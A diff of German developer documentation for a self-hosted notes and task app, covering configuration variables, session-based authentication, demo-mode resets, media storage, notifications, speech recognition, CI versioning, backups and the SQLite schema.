| GET | `/admin/settings/sharing-impact?mode=` | Probelauf: wie viele Freigaben und Gruppen-Mitgliedschaften ein Wechsel entfernen würde (`affected`) |
|
||||
| POST | `/admin/smtp/test` | Testmail (`toEmail`) |
|
||||
| GET | `/admin/voice` | Aktive Spracherkennung (`mode`: `server`/`browser`/`off`), Einstellungen aus `STT_*` ohne Schlüssel, Grenzen und im Server-Modus ein frischer Zustand (`status.reachable`, `status.modelReady`) |
|
||||
| GET/POST | `/admin/backups` | Datenbank-Abzüge auflisten bzw. sofort sichern (Abzug + alle Benutzer-Backups) |
|
||||
| GET | `/admin/backups/{name}` | Datenbank-Abzug herunterladen |
|
||||
|
||||
|
||||
@@ -55,6 +55,7 @@ Client → Server versteht der Server nur: `{"event":"JOIN_ROOM","room":"<id>"}`
|
||||
| `LIST_CREATED`, `LIST_UPDATED`, `LIST_DELETED`, `LIST_SHARED`, `LIST_UNSHARED`, `LIST_CLEARED` | Listenverwaltung | Benutzer bzw. Raum der Liste |
|
||||
| `ITEM_CREATED`, `ITEM_UPDATED`, `ITEM_TOGGLED`, `ITEM_DELETED`, `ITEM_REORDERED` | Listeneinträge | Raum der Liste |
|
||||
| `USER_PRESENCE` | Verbindung auf-/abgebaut (`onlineCount`) | Raum |
|
||||
| `DEMO_RESET` | Periodischer Reset im Demo-Modus; Clients verwerfen lokale Caches und laden Daten neu | Alle aktiven Verbindungen |
|
||||
| `SSE_CONNECTED` | Nur SSE, direkt nach Verbindung | Verbindung |
|
||||
|
||||
## Verhalten im Frontend
|
||||
|
||||
+46
-9
@@ -60,30 +60,64 @@ Das Frontend liegt per `go:embed` im Binary ([cmd/server/main.go](../cmd/server/
|
||||
| `DATABASE_URL` | leer | `sqlite:///pfad/datei.db` oder Pfad; ohne Angabe `DATA_DIR/mindsift.db`. Postgres-URLs werden **nicht** unterstützt (siehe Hinweis) |
|
||||
| `JWT_SECRET` | zufällig erzeugt, gespeichert in `$DATA_DIR/jwt.secret` | Signaturschlüssel der Tokens; bekannte Platzhalter werden ignoriert |
|
||||
| `TRUSTED_PROXIES` | `private` | Proxys, deren `X-Forwarded-For`/`X-Real-IP` geglaubt wird (`private`, `all`, `none`, CIDR-Liste); `internal/api/clientip.go` |
|
||||
| `LOGIN_PROTECTION` | `true` | Login-Sperre nach Fehlversuchen (`internal/api/loginguard.go`), `false` = aus |
|
||||
| `LOGIN_PROTECTION` | `true` | Login-Sperre nach Fehlversuchen und Limits für Registrierung und „Passwort vergessen“ (`internal/api/loginguard.go`), `false` = aus |
|
||||
| `BASE_URL` | `http://localhost:<PORT>` | Basis-URL der Instanz; explizit gesetzt Voraussetzung für das Passwort-Zurücksetzen per Mail |
|
||||
| `TZ` | `Europe/Berlin` | Zeitzone für Fälligkeiten und Alarme; die Zeitzonendaten sind ins Binary eingebettet (`time/tzdata`) |
|
||||
| `ALLOW_REGISTRATION` | `false` | Startwert; die Einstellung im Admin-UI (`system_settings`) hat Vorrang |
|
||||
| `LOG_LEVEL` / `DEBUG` | `info` / `false` | `debug`, `info`, `warn`, `error`; `DEBUG=true` erzwingt `debug` |
|
||||
| `MINDA_DEMO` (auch `MINDSIFT_DEMO`, `DEMO_MODE`) | `false` | Demo-Konten anlegen |
|
||||
| `MINDA_DEMO` (auch `MINDSIFT_DEMO`, `DEMO_MODE`) | `false` | Demo-Konten anlegen. Die Demo verschickt nichts (keine Alarme, Test- oder Hinweismails, Webhooks), Server-Einstellungen sind schreibgeschützt, Passwort, E-Mail und Konten der gemeinsam genutzten Demo-Konten lassen sich nicht ändern (`notInDemo` in `internal/api/demo.go`) |
|
||||
| `DEMO_RESET_MINUTES` | `20` | Demo-Modus: periodischer Reset auf die Beispieldaten (`0` = aus). Feste IDs der Demo-Konten (`usr_demo_admin`, `usr_demo_user`) halten Sitzungen gültig; laufende Anfragen sperren den Reset (`internal/api/demo.go`, Streams ausgenommen); danach `DEMO_RESET` an alle Verbindungen, `/auth/status` liefert `demoNextReset`/`demoResetInSeconds`. |
|
||||
| `SMTP_HOST`, `SMTP_PORT`, `SMTP_USER`, `SMTP_PASS`, `SMTP_FROM`, `SMTP_TLS` | leer / `587` / `true` | Mailversand, auch im Admin-UI einstellbar |
|
||||
| `SMTP_FROM_NAME` | `MindSift` | Anzeigename des Absenders, wenn `SMTP_FROM` nur eine Adresse ist (`From: "MindSift" <adresse>`, der SMTP-Umschlag bleibt die reine Adresse); ein Name in `SMTP_FROM` hat Vorrang |
|
||||
| `SMTP_SKIP_VERIFY` | `false` | Zertifikat des Mailservers nicht prüfen (nur interne Server mit selbstsigniertem Zertifikat) |
|
||||
| `NOTIFY_DIGEST_MINUTES` | `5` | Benachrichtigungen (Freigaben, beobachtete Aufgaben …) werden gesammelt und höchstens alle so viele Minuten gebündelt verschickt |
|
||||
| `MEDIA_MAX_IMAGE_MB`, `MEDIA_MAX_AUDIO_MB` | `15` / `50` | Größtes Bild bzw. größte Audiodatei in Notizen in MB |
|
||||
| `MEDIA_QUOTA_MB` | `0` | Speicherplatz für Medien pro Benutzer in MB (`0` = unbegrenzt) |
|
||||
| `MEDIA_DEMO_MAX_MB` | `3` | Nur im Demo-Modus: maximale Dateigröße für Medien-Uploads in MB |
|
||||
| `STT_URL` | leer | Eigene Spracherkennung: Basis-URL eines OpenAI-kompatiblen Whisper-Servers (z. B. `http://whisper:8000`, speaches). Gesetzt = Server-Modus, sonst Spracherkennung des Browsers; in der Demo immer Browser |
|
||||
| `STT_MODEL`, `STT_LANGUAGE`, `STT_API_KEY` | `deepdml/faster-whisper-large-v3-turbo-ct2` / `de` / leer | Modell, Sprache (`auto` = erkennen), Schlüssel falls der Whisper-Server einen verlangt |
|
||||
| `STT_DISABLED` | `false` | `true` blendet die Spracheingabe überall aus |
|
||||
| `STT_MAX_SECONDS`, `STT_MAX_UPLOAD_MB` | `600` / `25` | Längste Aufnahme (stoppt im Browser), größte Aufnahme |
|
||||
| `STT_MAX_PARALLEL`, `STT_PER_USER_PER_HOUR`, `STT_TIMEOUT_SECONDS` | `1` / `60` / `120` | Gleichzeitige Erkennungen (weitere warten), Erkennungen pro Person und Stunde, Höchstdauer inkl. Warten |
|
||||
| `LEGAL_IMPRINT_URL`, `LEGAL_PRIVACY_URL` | leer | Impressum/Datenschutz als externer Link (nur `http(s)`) |
|
||||
| `LEGAL_IMPRINT_CONTENT`, `LEGAL_PRIVACY_CONTENT` (oder `…_CONTENT_FILE` mit Dateipfad) | leer | Impressum/Datenschutz als Markdown, angezeigt in einem Lesefenster. Ohne URL und Text bleibt der Link unsichtbar. |
|
||||
| `LEGAL_IMPRINT_CONTENT`, `LEGAL_PRIVACY_CONTENT` | leer | Impressum/Datenschutz als Markdown, angezeigt in einem Lesefenster |
|
||||
| `LEGAL_IMPRINT_CONTENT_FILE`, `LEGAL_PRIVACY_CONTENT_FILE` | leer | Pfad zu einer Datei im Container mit Markdown-Inhalt für Impressum bzw. Datenschutz. Ohne URL und Text bleibt der Link unsichtbar. |
|
||||
|
||||
Hinweis: `DATABASE_URL` mit `postgres…` führt dazu, dass der Standardpfad in `DATA_DIR` genutzt wird; Postgres ist nicht implementiert.
|
||||
|
||||
## Authentifizierung
|
||||
|
||||
- **Login** mit E-Mail, Benutzername (aus dem E-Mail-Präfix) oder `login`. Passwörter: bcrypt (`DefaultCost`).
|
||||
- **Login-Sperre:** Fehlversuche zählen im Speicher in drei Töpfen: Konto + Adresse (3), Konto (20), Adresse (30), je innerhalb von 15 Minuten; ist einer voll, gibt es 15 Minuten lang `429` mit `Retry-After`. Unbekannte Namen zählen wie Konten (kein Erraten, welche existieren). Erfolg leert die Kontotöpfe, ein Passwort-Reset (Mail oder Admin) hebt die Sperre auf. Die Client-Adresse kommt nur von vertrauenswürdigen Proxys (`TRUSTED_PROXIES`).
|
||||
- **JWT:** HS256, Laufzeit 30 Tage, Claims `userId`, `email`, `displayName`, `tokenVersion`, `jti`. Gültig nur, wenn Token nicht in `revoked_tokens` steht, das Konto aktiv ist und `tokenVersion` mit `users.token_version` übereinstimmt. Neue Passwörter brauchen mindestens 8 Zeichen (`auth.ValidatePassword`). `token_version` wird bei Passwortänderung, Rollenwechsel, Deaktivierung und „Alle Sitzungen beenden“ erhöht.
|
||||
- **Logout** schreibt den Token-Hash in `revoked_tokens`.
|
||||
- **Login-Sperre:** Fehlversuche zählen im Speicher in drei Töpfen: Konto + Adresse (3), Konto (20), Adresse (30), je innerhalb von 15 Minuten; ist einer voll, gibt es 15 Minuten lang `429` mit `Retry-After`. Unbekannte Namen zählen wie Konten (kein Erraten, welche existieren). Erfolg leert die Kontotöpfe, ein Passwort-Reset (Mail oder Admin) hebt die Sperre auf. Die Client-Adresse kommt nur von vertrauenswürdigen Proxys (`TRUSTED_PROXIES`). Dieselben Töpfe begrenzen pro Adresse Registrierungen (20) und „Passwort vergessen“ (10) je 15 Minuten; hier zählt jede Anfrage.
|
||||
- **Einladungscodes:** `INV-` plus 100 Zufallsbits in Base32. Die Registrierung beansprucht den Code, bevor das Konto entsteht (kein doppeltes Einlösen).
|
||||
- **JWT und Sitzungen:** HS256, Claims `userId`, `email`, `displayName`, `tokenVersion`, `jti`. Jede Anmeldung legt eine Zeile in `sessions` an (Gerät, IP, letzte Nutzung); `jti` ist deren ID. Gültig ist ein Token nur, wenn die Sitzung aktiv ist (nicht beendet, höchstens 30 Tage unbenutzt), das Konto aktiv ist und `tokenVersion` mit `users.token_version` übereinstimmt. Ist das Token älter als 24 Stunden, schickt der Server im Header `X-Session-Token` ein neues für dieselbe Sitzung; das Frontend übernimmt es (`request()` in `lib/api.ts`). Aktive Geräte bleiben so angemeldet, unbenutzte fallen nach 30 Tagen heraus (`internal/api/sessions.go`). Neue Passwörter brauchen mindestens 8 Zeichen (`auth.ValidatePassword`). `token_version` wird bei Passwortänderung, Rollenwechsel, Deaktivierung und „Alle Sitzungen beenden“ erhöht.
|
||||
- **Logout** beendet die Sitzung des Geräts; `GET /auth/sessions` listet die Geräte, `DELETE /auth/sessions/{id}` meldet eines ab. Passwort und Login-E-Mail ändern sich nur mit dem aktuellen Passwort (`currentPassword`, falsche Eingaben zählen für die Login-Sperre); ein neues Passwort meldet alle anderen Geräte ab, dieses Gerät erhält per `X-Session-Token` ein neues Token. Ist SMTP eingerichtet, geht eine Hinweismail an die bisherige Adresse.
|
||||
- **API-Keys:** `mindsift_sec_<hex>`, gespeichert als SHA-256, nur das Präfix bleibt sichtbar. Der Key gilt als Bearer-Token oder in `X-API-Key` und darf nur Daten anliefern (`POST /inbox`, `POST /webhooks/ingest`); alle anderen Endpunkte antworten mit `403`.
|
||||
- **Passwort vergessen:** nur wenn SMTP und `BASE_URL` gesetzt sind (nicht im Demo-Modus; `passwordReset` in `/auth/status`). `POST /auth/forgot-password` antwortet immer gleich und verschickt die Mail im Hintergrund, höchstens alle 2 Minuten pro Konto. Der Link `BASE_URL/?resetToken=…` gilt eine Stunde und einmal; gespeichert wird nur der SHA-256-Hash (`password_reset_tokens`). `POST /auth/reset-password` setzt das Passwort, entwertet alle offenen Links des Kontos und erhöht `token_version` (alle Sitzungen enden). Die App entfernt den Token sofort aus der Adresszeile.
|
||||
- **Registrierung:** nur mit Einladungscode oder wenn `allow_registration` aktiv ist. Das erste Konto entsteht über `/auth/setup` und wird Administrator.
|
||||
|
||||
## Medien in Notizen
|
||||
|
||||
Bilder und Audio liegen in `$DATA_DIR/media/<docId>/<id>.<ext>`, beschrieben in der Tabelle `media` (Migration 5, `internal/storage/media.go`). Ein Block verweist über seinen Inhalt darauf, z. B. Typ `image` mit ``; damit laufen Verweise ohne Änderung am Sync-Modell durch Synchronisation, Rückgängig und Konflikte. Hochladen (`POST /documents/{id}/media`) braucht Schreibrecht auf die Notiz, Lesen (`GET /media/{id}`) Leserecht auf die Notiz der Datei oder auf eine Notiz, deren Blöcke sie zeigen (kopierte Blöcke). Das Format wird am Inhalt erkannt (JPEG, PNG, GIF, WebP; WebM, Ogg, MP3, WAV, M4A), SVG und alles andere wird abgelehnt; Antworten tragen eine eigene CSP mit `sandbox`. Externe Bilder kopiert der Server einmal (`POST /documents/{id}/media/fetch`, nur https und öffentliche Adressen wie bei Webhooks, nicht in der Demo). Grenzen: `MEDIA_MAX_IMAGE_MB`, `MEDIA_MAX_AUDIO_MB`, `MEDIA_QUOTA_MB`, in der Demo `MEDIA_DEMO_MAX_MB`. Backup-ZIP (`media/<id><ext>`) und Markdown-Archiv (`attachments/`, Einbettung `` relativ zur Notiz) enthalten die Dateien der eigenen Notizen; beim Import bekommen sie neue IDs. Der Obsidian-Import übernimmt Bilder und Audio, die eine Notiz allein in einem Punkt einbettet (`![[datei.png]]` oder ``); andere Dateien erscheinen in der Vorschau als übersprungen. Die Verdichtung (alle 6 Stunden) löscht Dateien, die kein Block mehr erwähnt (auch keine gelöschten im Papierkorb oder Protokoll), frühestens einen Tag nach dem Hochladen. Der Demo-Reset leert `media/`.
|
||||
|
||||
## Notizen umbauen
|
||||
|
||||
`internal/storage/restructure.go`: **Ast auslagern** liest den Ast und legt die neue Notiz an (Titel eindeutig, gleiche direkte und Gruppen-Freigaben, Besitzer der Ursprungsnotiz bekommt Schreibrecht). Den Ast in der Ursprungsnotiz ersetzt der Editor selbst durch `[[Titel]]` (Hashtags bleiben am Link) – als eigene Änderung über die Sync-Engine, damit sie nicht mit ungesendeten Eingaben kollidiert und Strg+Z sie zurücknimmt; dabei legt `/extract/undo` die neue Notiz in den Papierkorb. **Zusammenführen** hängt die Quelle als `h2`-Überschrift mit ihren Punkten als Unterpunkte an die Zielnotiz an (ebenfalls über Operationen, offene Editoren folgen live) und legt die Quelle in den Papierkorb; „Rückgängig“ löscht die Überschrift samt Unterpunkten und stellt die Quelle wieder her. Die Aktion läuft im Namen des Editor-Clients (`clientId`), damit dessen eigene Block-Sperren nicht stören. Bilder und Aufnahmen funktionieren weiter, weil der Zugriff über die Notizen läuft, die sie zeigen.
|
||||
|
||||
## Benachrichtigungen
|
||||
|
||||
`internal/api/notify.go`, `internal/storage/notifications.go` (Migration 7). Jede Person wählt pro Ereignisart die Kanäle – eigene E-Mail (Alarm-Adresse, sonst Konto-Adresse) und eigener Discord-Webhook aus den Alarmen –, gespeichert als JSON in `users.notification_settings` (`GET /auth/me`, `PATCH /auth/settings` → `notificationSettings`). Ereignisse: `due` (Fälligkeits-Alarm, sofort über den Alarm-Ticker), `shared` (Notiz, Ordner, Aufgabenliste oder Liste geteilt; bei Gruppen alle Mitglieder), `taskDone` (Aufgabe einer geteilten Liste erledigt), `watched` (jede Änderung an einer beobachteten Aufgabe, `task_watchers`, `POST/DELETE /tasks/{id}/watch`). Alles außer `due` landet in `notification_queue`; ein Job im Minutentakt schickt je Person eine gebündelte Nachricht, sobald das älteste Ereignis `NOTIFY_DIGEST_MINUTES` (Standard 5) alt ist (E-Mail als Text + HTML, Discord als ein Embed mit höchstens 10 Zeilen), nach 3 Fehlversuchen wird verworfen. Eigene Änderungen benachrichtigen nie den Handelnden, außer bei beobachteten Aufgaben mit `includeOwnWatched`. `paused` stoppt alles, auch Alarme. **Tageszusammenfassung:** zur gewählten Uhrzeit (Server-Zeitzone, innerhalb von 30 Minuten, einmal pro Tag) überfällige, heutige und morgige offene Aufgaben samt Anzahl der folgenden 7 Tage; nichts fällig → keine Nachricht. Im Demo-Modus laufen die Jobs nicht.
|
||||
|
||||
## Link-Vorschau
|
||||
|
||||
Punkte mit einer reinen https-Adresse zeigen darüber eine Karte (`LinkPreviewCard`, `lib/linkPreview.ts`). `GET /link-preview?url=` holt die Seite serverseitig mit demselben Schutz wie Webhooks (nur https, keine internen Adressen, Weiterleitungen geprüft), liest `og:*`/`twitter:*`, `<title>`, `description` und das Icon aus dem `<head>` (höchstens 1 MB HTML, Bild 2 MB, Icon 100 KB, kein SVG) und speichert alles in `link_previews` (Migration 6): Erfolg 7 Tage, nichts Brauchbares 1 Tag, nach 30 Tagen gelöscht. Bilder kommen über `GET /link-preview/{key}/image|icon` mit Login. Pro Adresse höchstens 300 Abrufe in 15 Minuten (Antworten aus dem Cache zählen nicht). Ausblenden einer Karte macht aus der Adresse `[Titel](url)` (ein benannter Link hat keine Karte), damit synchronisiert die Wahl mit der Notiz; „Link-Vorschauen anzeigen“ unter Darstellung gilt pro Gerät. Im Demo-Modus aus.
|
||||
|
||||
## Spracherkennung
|
||||
|
||||
Nur über Umgebungsvariablen (`STT_*`, siehe oben), nicht in der Oberfläche; Administration → Server & Isolation zeigt den aktiven Modus, den Zustand des Whisper-Servers und bietet eine Testaufnahme. Alle Mikrofon-Knöpfe (Quick-Dump-Leiste, mobiles Erfassen-Sheet, Halten des +-Knopfs) nutzen denselben Hook `useVoiceInput` (`frontend/src/lib/voice.ts`, `useVoiceInput.ts`): `server` nimmt auf und zeigt „Wird erkannt…“, `browser` liefert Text schon beim Sprechen, `off` oder ein Browser ohne die nötige Funktion blendet das Mikrofon aus. Im Server-Modus zeigen Wellen den echten Mikrofonpegel (`VoiceWave`), die Aufnahme endet spätestens nach `STT_MAX_SECONDS`. Der Browser nimmt per `MediaRecorder` auf (WebM/Opus, in Safari MP4/AAC) und schickt die Aufnahme an `POST /voice/transcribe`; MindSift reicht sie an `STT_URL/v1/audio/transcriptions` weiter (`model`, `language`) und gibt nur den Text zurück. Nichts wird gespeichert oder protokolliert außer Fehlern (`internal/api/voice.go`). Beim Start wartet MindSift auf den Whisper-Server und stößt den Download des Modells an, falls es fehlt (`POST /v1/models/<id>` bei speaches).
|
||||
|
||||
`docker-compose.yml` enthält den Dienst `whisper` (speaches 0.8.3, CPU) als auskommentierten Block: Rauten entfernen, `STT_URL=http://whisper:8000` in `.env` setzen, `docker compose up -d`; das Modell liegt in `./whisper` (Ordner gehört UID 1000). Gemessen auf einem Desktop mit 16 Kernen (int8) für einen Satz von 4 s: `Systran/faster-whisper-small` 1,6 s, `deepdml/faster-whisper-large-v3-turbo-ct2` 8 s bei besserer Erkennung (RAM ca. 1 bzw. 2 GB). Auf geteilten vCPUs ist mit dem Mehrfachen zu rechnen.
|
||||
|
||||
## Hintergrundjob: Alarme
|
||||
|
||||
`startAlarmTicker` prüft jede Minute alle offenen, noch nicht gemeldeten Aufgaben mit Fälligkeit. Ist der Alarmzeitpunkt erreicht (Fälligkeit mit Uhrzeit bzw. 9:00 bei ganztägigen Aufgaben, minus Vorlaufzeit des Benutzers, Zeitzone `TZ`), sendet er über die Kanäle des Benutzers (`email`, `discord`, `webhook`) und setzt `alarm_sent`, sobald mindestens ein Kanal erfolgreich war. Nach 3 Durchläufen ohne Erfolg gibt er auf (`alarm_failures`). Details und Einschränkungen: [modules/tasks.md](modules/tasks.md).
|
||||
@@ -100,9 +134,11 @@ Stage 2 golang:1.23 go vet, go test, go build → /app/mindsift (
|
||||
Stage 3 alpine:3.21 nur Binary, ca-certificates, tzdata
|
||||
```
|
||||
|
||||
**Image-Tags (CI):** Push auf `dev` → `:dev`; Push/Merge auf `main` → `:latest`; Git-Tag `v*` (z. B. `v1.2.0`) → `:v1.2.0` und `:stable`. Andere Branches bauen nicht.
|
||||
**Image-Tags (CI):** Push auf `dev` → `:dev`; Push/Merge auf `main` → `:latest`; Git-Tag `v*` (z. B. `v1.2.0`) → `:v1.2.0` und `:stable`; Vorabversionen (`v1.2.0-rc.1`) nur `:v1.2.0-rc.1`, `:stable` bleibt. Andere Branches bauen nicht.
|
||||
|
||||
Die angezeigte Version (Kopf der App) setzt der Build-Parameter `APP_VERSION`: Die CI übergibt bei Git-Tags den Tag-Namen (`v0.2`), sonst zeigt die App die Version aus `frontend/package.json` mit `-dev` (`v0.2-dev`). Umgesetzt in `frontend/vite.config.ts` und `frontend/src/version.ts`.
|
||||
**Versionierung:** Ab v0.6.0 nach [Semantic Versioning](https://semver.org/spec/v2.0.0.html): `MAJOR.MINOR.PATCH`, Tags dreiteilig mit `v` (`v0.6.0`, `v1.0.0-rc.1`). Solange die Hauptversion 0 ist, erhöhen inkompatible Änderungen (API, Datenformate, Konfiguration) die mittlere Stelle, Fehlerbehebungen die letzte. Jede Änderung, die Benutzer oder Betreiber betrifft, kommt in [CHANGELOG.md](../CHANGELOG.md) unter „Unreleased“ (Format [Keep a Changelog](https://keepachangelog.com/de/1.1.0/)); beim Release wird der Abschnitt zur Version mit Datum, `frontend/package.json` bekommt die Versionsnummer.
|
||||
|
||||
Die angezeigte Version (Kopf der App) setzt der Build-Parameter `APP_VERSION`: Die CI übergibt bei Git-Tags den Tag-Namen (`v0.6.0`), sonst zeigt die App die Version aus `frontend/package.json` mit `-dev` (`v0.6.0-dev`). Umgesetzt in `frontend/vite.config.ts` und `frontend/src/version.ts`.
|
||||
|
||||
Die Tests laufen beim Image-Build (Frontend: `npm run test:run`, Backend: `go test -v ./...`); ein Fehler bricht den Build ab. Frontend-Tests liegen unter `frontend/src/**/__tests__/` (Vitest + jsdom + Testing Library, Setup in `frontend/src/test/setup.ts`).
|
||||
|
||||
@@ -110,7 +146,8 @@ Die Tests laufen beim Image-Build (Frontend: `npm run test:run`, Backend: `go te
|
||||
|
||||
[backups.go](../internal/api/backups.go) / [backup.go](../internal/storage/backup.go): Ist „Automatische Backups“ in den Admin-Einstellungen an, läuft einmal täglich zur eingestellten Uhrzeit (`backup_time`, Zeitzone `TZ`; nach einem Neustart wird ein verpasster Lauf am selben Tag nachgeholt):
|
||||
- `backups/system/mindsift-db-JJJJ-MM-TT-HHMM.db.gz`: Abzug der ganzen Datenbank per `VACUUM INTO` (stimmig, auch während geschrieben wird), gzip.
|
||||
- `backups/users/<id>/mindsift-backup-….zip`: dasselbe ZIP wie „Backup herunterladen“ für jedes aktive Konto.
|
||||
- `backups/users/<id>/mindsift-backup-….zip`: dasselbe ZIP wie „Backup herunterladen“ für jedes aktive Konto, mit den Bildern und Aufnahmen der eigenen Notizen unter `media/`.
|
||||
- **Achtung:** Der Datenbank-Abzug enthält keine Mediendateien. Wer den Server sichert, sichert den ganzen Ordner `data/` (Datenbank, `media/`, `backups/`).
|
||||
- Danach werden Dateien älter als `backup_retention_days` (Standard 3) gelöscht. Dateien entstehen über `.part` und Umbenennen, halbe Backups tauchen nie in der Liste auf. Die API liefert nur Dateien mit genau diesem Namensmuster aus.
|
||||
- Im Demo-Modus läuft kein Zeitplan. Zurückspielen eines Datenbank-Abzugs: Container stoppen, `mindsift.db` durch die entpackte Datei ersetzen, starten. Benutzer spielen ihre eigenen Backups in den Kontoeinstellungen ein, auch nur für einzelne Bereiche (Notizen, Aufgaben, Listen, Inbox, Themes).
|
||||
|
||||
|
||||
+11
-7
@@ -1,6 +1,6 @@
|
||||
# Datenbank
|
||||
|
||||
SQLite-Datei `mindsift.db` (Standard: `$DATA_DIR/mindsift.db`), geöffnet mit `journal_mode=WAL`, `synchronous=NORMAL`, `foreign_keys=ON`, `busy_timeout=10000` und höchstens 8 Verbindungen. Das Schema entsteht in `Store.migrate()` ([sqlite.go](../internal/storage/sqlite.go)): zuerst `CREATE TABLE IF NOT EXISTS`, danach eine Liste idempotenter `ALTER TABLE`/`CREATE`-Anweisungen für ältere Datenbanken. IDs sind Text mit Präfix (`usr_…`, `th_…`, `tkl_…`, `lst_…`, `tls_…`, `blk_…`, `doc_…`).
|
||||
SQLite-Datei `mindsift.db` (Standard: `$DATA_DIR/mindsift.db`), geöffnet mit `journal_mode=WAL`, `synchronous=NORMAL`, `foreign_keys=ON`, `busy_timeout=10000` und höchstens 8 Verbindungen. Das Schema entsteht in `Store.migrate()` ([sqlite.go](../internal/storage/sqlite.go)): zuerst `CREATE TABLE IF NOT EXISTS`, danach eine Liste idempotenter `ALTER TABLE`/`CREATE`-Anweisungen für ältere Datenbanken. IDs sind Text mit Präfix (`usr_…`, `th_…`, `tkl_…`, `lst_…`, `tls_…`, `blk_…`, `doc_…`) und 96 Zufallsbits in Hex; ältere Datensätze haben kürzere IDs (40 Bit).
|
||||
|
||||
|
||||
## Tabellen
|
||||
@@ -8,18 +8,22 @@ SQLite-Datei `mindsift.db` (Standard: `$DATA_DIR/mindsift.db`), geöffnet mit `j
|
||||
### Benutzer und Zugang
|
||||
| Tabelle | Zweck | Wichtige Spalten |
|
||||
|---|---|---|
|
||||
| `users` | Konten | `email` (eindeutig), `username`, `password_hash`, `display_name`, `role` (`admin`/`member`), `is_active`, `token_version`, `alarm_channels` (kommagetrennt), `alarm_email`, `discord_webhook_url`, `custom_webhook_url`, `notify_before_minutes`, `avatar_url`, `organization_id` (leer = keine Organisation) |
|
||||
| `users` | Konten | `email` (eindeutig), `username`, `password_hash`, `display_name`, `role` (`admin`/`member`), `is_active`, `token_version`, `alarm_channels` (kommagetrennt), `alarm_email`, `discord_webhook_url`, `custom_webhook_url`, `notify_before_minutes`, `avatar_url`, `organization_id` (leer = keine Organisation), `notification_settings` (JSON der Kanäle und Ereignisse), `last_daily_summary` (Datum des letzten Versands) |
|
||||
| `user_invites` | Einladungscodes | `code`, `email`, `role`, `organization_id`, `expires_at`, `used_by` |
|
||||
| `revoked_tokens` | Sperrliste ausgeloggter JWTs | `token_hash`, `expires_at` |
|
||||
| `media` | Bilder und Audio in Notizen (Migration 5); Datei unter `$DATA_DIR/media/<doc_id>/<id>.<ext>` | `id`, `doc_id`, `owner_id`, `kind` (`image`/`audio`), `mime`, `size`, `source_url` (kopiertes externes Bild), `created_at` |
|
||||
| `link_previews` | Zwischengespeicherte Link-Vorschauen (Migration 6) | `key` (Hash der URL), `url`, `title`, `description`, `site_name`, `image`/`icon` (BLOB, mit `*_mime`), `ok`, `fetched_at` |
|
||||
| `notification_queue` | Wartende Benachrichtigungen bis zum gebündelten Versand (Migration 7) | `user_id`, `kind` (`shared`/`taskDone`/`watched`), `payload` (JSON), `created_at`, `attempts` |
|
||||
| `task_watchers` | Beobachtete Aufgaben (Migration 7) | `task_id`, `user_id`, `created_at` |
|
||||
| `sessions` | Angemeldete Geräte (Migration 4, ersetzt `revoked_tokens`) | `id` (= `jti` des Tokens), `user_id`, `created_at`, `last_used_at` (höchstens alle 5 Minuten aktualisiert), `user_agent`, `ip`, `revoked_at` (leer = aktiv) |
|
||||
| `user_themes` | Eigene CSS-Themes eines Benutzers | `user_id` (FK, `ON DELETE CASCADE`), `name`, `css_content` |
|
||||
| `api_keys` | Webhook-/API-Schlüssel | `key_prefix`, `key_hash` (SHA-256), `scopes` (nicht ausgewertet), `last_used_at` |
|
||||
| `api_keys` | Webhook-/API-Schlüssel | `name`, `key_prefix`, `key_hash` (SHA-256), `scopes` (`webhook:triage`, `webhook:task`, `webhook:list`), `last_used_at` |
|
||||
| `system_settings` | Schlüssel/Wert für Instanz-Einstellungen | `sharing_mode`, `allow_registration`, `instance_name`, `smtp_*` |
|
||||
|
||||
### Gedanken und Aufgaben
|
||||
| Tabelle | Zweck | Wichtige Spalten |
|
||||
|---|---|---|
|
||||
| `password_reset_tokens` | Links aus „Passwort vergessen?“ | `token_hash` (SHA-256), `user_id`, `created_at`, `expires_at` (1 h), `used_at` |
|
||||
| `thoughts` | Gedanken **und** Aufgaben in einer Tabelle | `status` (`inbox`/`kept`/`converted`/`discarded`), `converted_type` (`task`/`document`/`list_item`/`document_block`), `converted_ref_id`, `priority`, `is_completed`, `due_date` (`YYYY-MM-DD` ganztägig oder `YYYY-MM-DDTHH:MM`, Zeitzone des Servers), `task_list_id`, `kanban_status`, `notes`, `subtasks` (JSON), `tags` (JSON), `alarm_sent`, `alarm_failures` (erfolglose Alarm-Durchläufe, ab 3 aufgegeben), `sort_order`, `source` (`manual`, `voice`, `webhook` …) |
|
||||
| `thoughts` | Gedanken **und** Aufgaben in einer Tabelle | `status` (`inbox`/`kept`/`converted`/`discarded`), `converted_type` (`task`/`document`/`list_item`/`document_block`), `converted_ref_id`, `priority`, `is_completed`, `due_date` (`YYYY-MM-DD` ganztägig oder `YYYY-MM-DDTHH:MM`, Zeitzone des Servers), `task_list_id`, `kanban_status`, `notes`, `subtasks` (JSON), `tags` (JSON), `alarm_sent`, `alarm_failures` (erfolglose Alarm-Durchläufe, ab 3 aufgegeben), `recurrence` (`daily`/`weekly`/`monthly`/`yearly`/leer), `recurrence_spawned`, `sort_order`, `source` (`manual`, `voice`, `webhook` …) |
|
||||
| `task_assignees` | Zuweisungen von Aufgaben | `task_id` (FK `thoughts`, `ON DELETE CASCADE`), `user_id`, `created_at`; nur Personen mit Zugriff auf die Liste, bereinigt durch `PruneTaskAssignees` |
|
||||
| `task_lists` | Aufgabenlisten | `user_id` (Eigentümer), `title`, `icon`, `color`, `columns` (JSON, Kanban-Spalten) |
|
||||
| `task_list_shares` | Freigaben von Aufgabenlisten | `target_type` (`team`/`user`), `target_id`, **`permission`** (`editor`/`viewer`, Standard `editor`) |
|
||||
@@ -76,11 +80,11 @@ teams 1─n team_members n─1 users
|
||||
## Migrationen und Aufräumarbeiten beim Start
|
||||
|
||||
- Spalten/Tabellen/Indizes werden nachgezogen (`ALTER TABLE … ADD COLUMN`, Fehler werden ignoriert).
|
||||
- Veraltete Tabellen werden gelöscht: `spaces`, `space_members`, `space_team_shares`, `document_crdt_state`, `document_crdt_updates`, `document_blocks`, `doc_block_tags`.
|
||||
- Veraltete Tabellen werden gelöscht: `spaces`, `space_members`, `space_team_shares`, `document_crdt_state`, `document_crdt_updates`, `document_blocks`, `doc_block_tags`, `revoked_tokens`.
|
||||
- `users.username` wird aus dem E-Mail-Präfix aufgefüllt.
|
||||
- Notiz-Synchronisation (`migrateDocSync`): neue Spalten an `blocks` (inkl. `deleted_at`; vorhandene Grabsteine erhalten den Migrationszeitpunkt) und `documents` (`head_seq`, `title_version`, `log_floor`), Tabellen `doc_ops` und `doc_op_results`. Blöcke im alten flachen Format (nur `level`/`position`) werden einmalig in den Baum umgewandelt.
|
||||
